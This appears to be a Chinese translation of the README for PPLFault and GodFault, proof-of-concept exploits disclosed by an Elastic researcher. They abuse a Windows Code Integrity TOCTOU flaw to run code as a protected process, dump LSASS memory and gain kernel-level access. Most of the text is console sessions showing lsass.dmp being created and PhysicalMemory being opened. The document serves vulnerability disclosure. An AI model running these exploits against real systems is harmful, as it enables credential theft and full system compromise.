作者:Gabriel Landau,来自 Elastic Security。
内容源自 Black Hat Asia 2023 上的演讲《PPLdump Is Dead. Long Live PPLdump!》。
2024-02 更新:微软已于 2024-02-13 修补 PPLFault。 相关讨论请参阅 此帖。
该工具利用 Windows 代码完整性(Code Integrity)中的一个 TOCTOU 漏洞,以 WinTcb-Light 权限实现任意代码执行,然后转储指定进程。有关该漏洞利用的更多详情,请参阅我的 幻灯片 和/或 演讲。
PS C:\Users\user\Desktop> cmd /c ver
Microsoft Windows [Version 10.0.25346.1001]
PS C:\Users\user\Desktop> tasklist | findstr lsass
lsass.exe 992 Services 0 76,620 K
PS C:\Users\user\Desktop> (Get-NtProcess -Access QueryLimitedInformation -Pid 992).Protection
Type Signer
---- ------
ProtectedLight Lsa
PS C:\Users\user\Desktop> dir *.dmp
PS C:\Users\user\Desktop> .\PPLFault.exe -v 992 lsass.dmp
[+] No cleanup necessary. Backup does not exist.
[+] GetShellcode: 528 bytes of shellcode written over DLL entrypoint
[+] Benign: C:\Windows\System32\EventAggregation.dll.bak
[+] Payload: C:\PPLFaultTemp\PPLFaultPayload.dll
[+] Placeholder: C:\PPLFaultTemp\EventAggregationPH.dll
[+] Acquired exclusive oplock to file: C:\Windows\System32\devobj.dll
[+] Ready. Spawning WinTcb.
[+] SpawnPPL: Waiting for child process to finish.
[+] FetchDataCallback called.
[+] Hydrating 90112 bytes at offset 0
[+] Switching to payload
[+] Emptying system working set
[+] Working set purged
[+] Give the memory manager a moment to think
[+] Hydrating 90112 PAYLOAD bytes at offset 0
[+] Dump saved to: lsass.dmp
[+] Dump is 74.9 MB
[+] Operation took 937 ms
PS C:\Users\user\Desktop> dir *.dmp
Directory: C:\Users\user\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 5/1/2023 11:18 AM 78581973 lsass.dmp
利用与 PPLFault 相同的 TOCTOU。但与转储进程不同,它会迁移到 CSRSS,并利用来自 ANGRYORCHARD 的 win32k!NtUserHardErrorControlCall 中的漏洞,将 KTHREAD.PreviousMode 从 UserMode(1)递减为 KernelMode(0)。它通过以 SECTION_ALL_ACCESS 打开通常无法从 UserMode 访问的 \Device\PhysicalMemory,来证明其“上帝模式”(God Mode)访问权限。
C:\Users\user\Desktop>GodFault.exe -v
[?] Server does not appear to be running. Attempting to install it...
[+] No cleanup necessary. Backup does not exist.
[+] GetShellcode: 2304 bytes of shellcode written over DLL entrypoint
[+] CSRSS PID is 772
[+] Benign: C:\Windows\System32\EventAggregation.dll.bak
[+] Payload: C:\GodFaultTemp\GodFaultPayload.dll
[+] Placeholder: C:\GodFaultTemp\EventAggregationPH.dll
[+] Acquired exclusive oplock to file: C:\Windows\System32\devobj.dll
[+] Testing initial ability to acquire PROCESS_ALL_ACCESS to System: Failure
[+] Ready. Spawning WinTcb.
[+] SpawnPPL: Waiting for child process to finish.
[+] FetchDataCallback called.
[+] Hydrating 90112 bytes at offset 0
[+] Switching to payload
[+] Emptying system working set
[+] Working set purged
[+] Give the memory manager a moment to think
[+] Hydrating 90112 PAYLOAD bytes at offset 0
[+] Thread 6248 (KTHREAD FFFFA283B0A62080) has been blessed
[+] Testing post-exploit ability to acquire PROCESS_ALL_ACCESS to System: Success
[+] Opened \Device\PhysicalMemory. Handle is 0x1b4
[+] Opened System process as PROCESS_ALL_ACCESS. Handle is 0x1c0
[+] Press any key to continue...
[+] No cleanup necessary. Backup does not exist.
不借助 CloudFilter API 即以 WinTcb-Light 权限实现任意代码执行的 PoC。参见 python/README.md。
| Windows 11 22H2 22621.1702(2023 年 5 月) | Windows 11 Insider Canary 25346.1001(2023 年 4 月) | |
|---|---|---|
| PPLFault | ✔️ | ✔️ |
| GodFault | ✔️ | ❌ Insider PreviousMode 缓解措施触发 bugchecks |
PPLFault 采用 ELv2 许可证。它使用了 SystemInformer 中的 phnt,该组件基于 MIT 许可证 授权。
灵感源自 Clément Labro 的 PPLdump,微软已于 2022 年 7 月对该工具进行了 修补。
ANGRYORCHARD 由 Austin Hudson 创建,他在微软修补 PPLdump 时发布了该项目。